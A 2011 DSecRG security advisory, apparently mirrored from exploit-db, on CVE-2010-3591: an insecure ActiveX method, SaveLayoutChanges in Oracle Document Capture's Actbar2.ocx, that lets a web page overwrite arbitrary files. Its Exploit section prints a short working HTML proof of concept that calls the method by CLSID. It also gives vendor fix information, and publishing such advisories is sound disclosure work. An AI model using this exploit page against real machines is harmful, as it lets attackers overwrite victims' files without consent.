Oracle Document Capture – Actbar2.ocx Insecure Method

  • 作者： Evdokimov Dmitriy
    日期： 2011-01-26
  • 类别：
    平台：
  • 来源：https://www.exploit-db.com/exploits/16053/
  • Source:http://packetstormsecurity.org/files/view/97866/DSECRG-11-004.txt

ActiveX components contain insecure methods.

Digital Security Research Group [DSecRG] Advisory #DSECRG-00153



Application:Oracle Document Capture
Versions Affected:Release 10gR3
Vendor URL: www.oracle.com
Bugs: insecure method, File overwriting
Exploits: YES
Reported: 22.03.2010
Vendor response:31.03.2010
Date of Public Advisory:24.01.2011
CVE-number: CVE-2010-3591
Author: Evdokimov Dmitriy from Digital Security Research Group [DSecRG] (research [at] dsecrg [dot] com)



Description
***********

Oracle Document Capture contains ActiveX components that contains insecure methods.

Insecure method in Actbar2.ocx


Details
*******

Oracle Document Capture contains ActiveX component ActiveBar2Library (Actbar2.ocx) Lib GUID: {4932CEF1-2CAA-11D2-A165-0060081C43D9}

which is contains insecure method "SaveLayoutChanges" that can overwrite any unhidden file in system. 

Class ActiveBar2
GUID: {4932CEF4-2CAA-11D2-A165-0060081C43D9}
Number of Interfaces: 1
Default Interface: IActiveBar2
RegKey Safe for Script: True
RegKey Safe for Init: True
KillBitSet: False



Exploit
*******

Attacker can construct html page which call vulnerable function "SaveLayoutChanges" from ActiveX component Actbar2.ocx

Example:

<HTML>
 <HEAD>
 <TITLE>DSecRG</TITLE>
 </HEAD>
 <BODY>
 
 <OBJECT id='eds' classid='clsid:4932CEF4-2CAA-11D2-A165-0060081C43D9'></OBJECT>
 
 <SCRIPT>
 
 function Exploit(){
 eds.SaveLayoutChanges("C:\\31337.txt",1); 
 }
 Exploit();
 
 </SCRIPT>
</BODY>
</HTML>



References
**********

http://dsecrg.com/pages/vul/show.php?id=304
http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html




Fix Information
*************

Information was published in CPU Jan 2011.
All customers can download CPU patches following instructions from: 

http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html


About
*****

Digital Security: 

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Digital Security Research Group:

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Contact: research [at] dsecrg [dot] com
http://www.dsecrg.com
http://www.erpscan.com





Polyakov Alexandr. PCI QSA,PA-QSA
CTO Digital Security
Head of DSecRG
______________________
DIGITAL SECURITY
phone:+7 812 703 1547
+7 812 430 9130
e-mail: a.polyakov@dsec.ru

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